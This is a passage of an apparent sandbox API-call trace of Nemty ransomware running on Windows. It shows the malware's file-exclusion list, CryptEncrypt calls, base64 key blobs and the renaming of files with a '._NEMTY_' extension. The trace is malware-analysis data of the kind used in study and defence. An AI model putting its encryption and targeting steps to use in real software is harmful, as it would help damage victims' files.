pszString="1657ESUu1VhCZZ/+BVcVm96hbW4Uf5w9yR+EjyO5U9jB+zxXZnqRXNb/KCeM9JfX\r\nlhmpKq+OxgOAY44QupjbP6n2qSuWmtnk901PeFfMcd89QfwW6q0ZjYgXeqDVrZXS\r\n5a9URS0U3kcaPeVhWmvezJ0IK/GH3pQPy+eTfJ94CGA+1njJzlBpeZRW6AREt0kF\r\nnirQ9/tbKHSV4Uztp9JHCHFnwigIWsWkNxaGCxrBwikGZ0lVuyQUf+JX1IfYfCgH\r\n2meopX+QoKqvDCHEU1dK19MZP6Fujk/oDg0wwYyXnMV+bOYcV/zlcCrRHuWHfW2w\r\nMOjuHENwEMNLx4zIS+jtlg==\r\n", pcchString=0x653e91c) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.645] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.646] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.755] CloseHandle (hObject=0xffffffff) returned 0 [0093.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0093.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0093.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.755] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png._nemty_kgobjgd_")) returned 0 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.755] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0093.755] lstrcmpiW (lpString1="content-background.png", lpString2=".") returned 1 [0093.755] lstrcmpiW (lpString1="content-background.png", lpString2="..") returned 1 [0093.755] lstrcmpiW (lpString1="content-background.png", lpString2="...") returned 1 [0093.755] lstrcmpiW (lpString1="content-background.png", lpString2="windows") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="$RECYCLE.BIN") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="rsa") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="NTDETECT.COM") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="ntldr") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="MSDOS.SYS") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="IO.SYS") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="boot.ini") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="boot.ini") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="ntuser.dat") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="desktop.ini") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="CONFIG.SYS") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="RECYCLER") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="BOOTSECT.BAK") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="bootmgr") returned 1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="programdata") returned -1 [0093.756] lstrcmpiW (lpString1="content-background.png", lpString2="appdata") returned 1 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0093.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0093.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0093.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0093.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-background.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-background.png", lpUsedDefaultChar=0x0) returned 22 [0093.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0093.757] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0093.757] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0093.757] Sleep (dwMilliseconds=0x5) [0093.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb8c0f30, dwHighDateTime=0x1d561e7)) [0093.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb8c0f30, dwHighDateTime=0x1d561e7)) [0093.787] GetLastError () returned 0x5 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.787] GetLastError () returned 0x5 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.787] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.787] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.787] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0093.787] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="TvYw7CmKCiobXiI7IyXCIuO8BG/SZRKc9eRL44dHchBCGVDPxXWd7I4HnJ/wvWl4\r\n+WXjhOAXS3qkARsDJ9e+dNvXuzQ2RkLDc3keVqk/fZy8tJ6ayYsDRhNW9KMvXC11\r\nBemtPkWyughNV8MytxO+3C8O4IucQSdoccqlHYF1dOKkxbFhGU6DaQLbkV7/7wTU\r\nJxi4/wGnaSg5eBtl2bVt/cDoZvBxuqQXSPn70bVo1nwUhhoUjQ5VbotVqNGUlWQj\r\n2fT+Orn37VM43/BBTwIEWXWmMKNZYmLyXppM8UAQf0ulKjj0vJnbpi8t14l1VM3D\r\nkHFNP+9PZ15Jzjmdpxr/KQ==\r\n", pcchString=0x653e91c) returned 1 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0093.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.788] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.788] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, 